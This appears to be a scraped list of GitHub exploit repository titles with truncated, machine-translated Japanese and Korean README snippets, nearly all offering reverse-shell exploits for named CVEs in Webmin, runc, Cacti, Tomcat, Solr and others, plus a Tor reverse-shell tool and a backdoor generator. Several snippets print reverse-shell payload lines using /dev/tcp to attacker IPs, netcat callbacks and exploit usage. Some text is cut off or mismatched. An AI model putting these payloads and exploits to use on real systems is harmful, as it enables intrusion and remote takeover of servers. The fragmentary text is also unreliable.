cve-2017-2824-reverse-shell

Este repositorio no tiene un README...

CVE-2021-32160

..| XSS から特権ユーザーへ |.. 説明 : リフレクト型クロスサイトスクリプティング（XSS）攻撃を悪用して、Webminのユーザー追加機能を介して特権ユーザーを作成し、その後Webminのプロセス実行機能を介してリバースシェルを取得する テスト済みバージョン : Webmin 1.973 GitHubの最新バージョン 07/03/2021 攻撃タイプ: リモート 影響 : リモートコマンド実行 エクスプロイトのコード PoC : 製品のベンダー : https://www.webmin.com 追加情報 :...

tornado

tornado onion 네트워크를 통해 숨겨진 서비스를 이용하는 익명 리버스 셸 포트 포워딩 불필요 문서 살펴보기 완전히 탐지되지 않는 리버스 셸 · 데모 보기 · 무적의 익명성 목차 1. tornado란 무엇인가? 2. 사용된 기술 3. 시작하기 설치 4. 사용법 5. 로드맵 6. 기여하기 7. 라이선스 8. 면책 조항 운영 체제 호환성 문제가 있으면 알려주세요. 가능한 빨리 수정하도록 하겠습니다. 문서를 살펴보세요. tornado란 무엇인가? Tornado는 Tor 네트워크를 Metasploit-framework 도구 및...

CVE-2004-1561

CVE-2004-1561 Icecast ヘッダー上書きバッファオーバーフロー RCE 568-edit.c の更新 元のエクスプロイトを動作させることができました。こちらに従って編集しました。 568-edit.c の使用方法 root@Kali:/TryHackme/Ice gcc 568-edit.c -o 568 root@Kali:/TryHackme/Ice ./568 192.168.92.133 Icecast = 2.0.1 Win32 remote code execution 0.1 by Luigi Auriemma e-mail:...

golang-webmin-CVE-2022-0824-revshell

golang-webmin-CVE-2022-0824-revshell Webmin ターゲット URL c - Webmin の認証情報 sl - ペイロードをホストするローカルサーバーの IP とポート s - コールバック IP p - コールバックポート 参照 https://www.webmin.com/security.html https://huntr.dev/bounties/d0049a96-de90-4b1a-9111-94de1044f295/ https://nvd.nist.gov/vuln/detail/CVE-2022-0824...

CVE-2024-21626

CVE-2024-21626 PoC 要件 runc 1.1.0 /proc/self/cwd/../../../bin/bash.copy & /dev/tcp/$ip/$port 0&1 EOF listen and wait for reverse shell nc -lvvp 1337 コンテナイメージを実行し、bashシェルで poc.sh を実行 docker run -it --rm cve2024 bash /poc.sh...

CVE-2019-7214

Windows 리버스 셸 익스플로잇 PowerShell over TCP 이 Python 스크립트는 원격 Windows 머신에서 실행 중인 취약한 서비스를 대상으로 합니다. 직렬화된 .NET 페이로드를 전송하여 공격자 머신으로 PowerShell 기반 리버스 셸을 실행합니다. CVE-2019-7214 SmarterMail 시스템의 .NET 역직렬화에서 원격 코드 실행 ⚙️ 설정 환경에 맞게 스크립트의 설정 섹션을 업데이트하세요: HOSTNAME = 'hostname' Target hostname resolved via...

WonderCMS-4.3.2-XSS-to-RCE-Exploits-CVE-2023-41425

WonderCMS 4.3.2 XSS to RCE 익스플로잇 개요 이 스크립트들은 WonderCMS 4.3.2 의 XSS사이트 간 스크립팅 취약점을 이용하여 원격 코드 실행RCE을 달성합니다. XSS 페이로드는 관리자가 트리거하면 악의적으로 제작된 테마 모듈을 활용하여 대상 서버에 자동으로 리버스 셸을 설치합니다. 리버스 셸은 revshells.com 에서 가져와 실행되며, 공격자에게 서버에 대한 원격 액세스를 부여합니다. 목차 전제 조건 스크립트 1: 자동 익스플로잇 기능 사용법 스크립트 2: 수동 익스플로잇 기능 사용법 참고...

ExploitTensorflowCVE-2021-37678

CVE-2021-37678 エクスプロイト この脆弱性を悪用するには、まだ脆弱性が存在する バージョン 2.2.3 で Tensorflow を起動するための環境を用意した Docker コンテナを立ち上げる必要があります。 構成は次のとおりです: AMD 64ビットアーキテクチャ、 AVX 命令を実行できる CPU または GPU Python 64ビット バージョン 3.6.9 Pip3 バージョン 20.2.4 Tensorflow バージョン 2.2.3 PyYAML バージョン 3.12 マシンに docker がインストールされているか確認するには、次を実行します:...

CVE-2023-38646

CVE-2023-38646 CVE-2023-38646을 위한 파이썬 RCE 익스플로잇 사용법 리스너 시작하기 nc -lvnp 익스플로잇 실행 python3 CVE-2023-38646.py -u -l -p 도움말 python3 CVE-2023-38646.py -h usage: CVE-2023-38646.py -h -u URL -l LHOST -p LPORT optional arguments: -h, --help show this help message and exit -u URL, --url URL URL to exploit...

FuguHub-8.4-Authenticated-RCE-CVE-2024-27697

FuguHub 8.4 認証済みRCE FuguHub はクラウドメディアサーバーソフトウェアです。テストしたバージョンは、このリンクの Debian 版です: https://fuguhub.com/articles/FuguHub-for-Debian Real Time Logic LLC の FuguHub v.8.4 には、ローカルの攻撃者が細工したスクリプトを Administrator パネルの About ページに送ることで任意のコードを実行できる問題があります。 FuguHub のダウンロードページを示すスクリーンショット インストール手順: wget...

CVE-2014-7205

Bassmaster NodeJS 플러그인 RCE PoC bassmaster-rce.py: CVE-2014-7205를 악용하는 Python 스크립트입니다. nodeshell.py: NodeJS용 리버스 셸을 생성하는 Python 모듈입니다. !!테스트 권한이 있는 서버에만 사용하세요 요약 CVE-2014-7205는 NodeJS용 Bassmaster 플러그인에서 발생하는 원격 코드 실행 취약점입니다. 모든 버전 = 1.5.1이 영향을 받습니다. 이 취약점은 lib/batch.js 파일의 internals.batch 함수 내부에...

CVE-2025-3243

CVE-2025-32433 Erlang SSHライブラリのエクスプロイト CVE-2025-32433 の概念実証エクスプロイトです。これはErlangのSSHライブラリにおける深刻な脆弱性であり、不正な SSHMSGCHANNELREQUEST パケットによって認証前のコード実行を可能にします。 特徴 オリジナルエクスプロイト : Matthew Keeley 氏 更新版 : Tyler Ramsbey 氏 LHOST 、LPORT 、RHOST 、RPORT のコマンドライン引数 argparse によるビルトインのヘルプと使用方法 os:cmd"nc LHOST LPORT -...

CVE-2019-0232_tomcat_cgi_exploit

Apache Tomcat CGI 익스플로잇 스크립트 설명 Apache Tomcat 서버의 CGI 취약점을 악용하여 리버스 셸 연결을 실행하도록 설계된 Python 스크립트입니다. 사용 예시 특징 Apache Tomcat CGI 취약점에 대한 자동화된 익스플로잇 사용자 정의 가능한 대상 및 공격자 매개변수 간단한 명령줄 인터페이스 사전 요구 사항 Python 3.x requests 라이브러리 Netcat nc.exe 리버스 셸을 수신할 리스너에 대한 액세스 설치 git clone cd pip install requests 사용법...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 사용법 : 해당 시스템은 CVE-2019-5736에 취약합니다. Runc 익스플로잇 CVE-2019-5736의 단계를 따르세요. main.go 파일을 다운로드하고, 파일 내 페이로드를 다음과 같이 변경하세요: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" 그 후, 실행: go build main.go HTTP 서버 호스팅: python3 -m http.server 그런 다음 아래와 같이 3개의...

CVE-2012-2593

Atmail XSS-CSRF-RCE 익스플로잇 체인 PoC atmail-rce.py: Atmail의 웹메일 인터페이스에서 CVE-2012-2593을 익스플로잇합니다. atmail-csrf.js: CVE-2012-2593을 CSRF로 활용하여 악성 플러그인을 설치해 리버스 셸을 실행하는 자바스크립트 파일 Plugin.php: 리버스 셸을 호출하도록 설치되는 Atmail 플러그인 !!테스트 권한이 있는 서버에만 사용하세요 요약 Atmail 이메일 서버 버전 6.4는 Date 이메일 헤더와 이메일 본문iFrame 삽입을 통해에 XS...

CVE-2022-42889

빠른 시작 sudo apt install golang Python처럼 실행하려면: go run main.go arg1 arg2 실행 파일을 빌드하려면: go build main.go 사용법: non@woa:/program$ go run main.go - Usage: ./program vulnerable/web?param= 'ls -la' 할 일: 리버스 셸 기능 https://gobyexample.com/spawning-processes 더 나은 오류 처리, ?search를 ?sea로 변경하면 프로그램 흐름이 여전히 명령 성공...

Zerodoor

ZeroDoor 게으르게 작성된 스크립트로, 일상적인 침투 테스트를 위해 언제든지 필요할 때 번거로움 없이 리버스 셸 백도어를 생성할 수 있습니다. 이 백도어는 제임스 본드 수준의 첨단 기술이 아니라, 과도한 익스플로잇을 방지하고 제한된 기능을 제공하는 단순한 백도어입니다. 페이로드를 생성한 후 대상 시스템Windows 또는 Unix 기반 시스템에서 어떻게든 실행하면 됩니다. 실행되면 손상된 호스트에서 원격 명령을 실행할 수 있습니다 : 즐거운 해킹 되세요 :D Alt text 사용법 python zerodoor.py 간단한 ...

CVE-2022-46169

CVE-2022-41343 🐍 CVE-2022-46169를 위한 Python 익스플로잇 Cacti = 1.2.22용 Staged Reverse Shell 예제 cve-2022-46169 10.10.14.5 44444 -u http://cacti.htb 사용법 usage: cve-2022-46169 -h -u URL -s SHELL ip port positional arguments: ip 셸 콜백 IP 주소/호스트 port 셸 콜백 포트 options: -h, --help 이 도움말 메시지를 표시하고 종료 -u URL, --u...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a" url="https://stackoverflow.com/feeds/tag/solr"...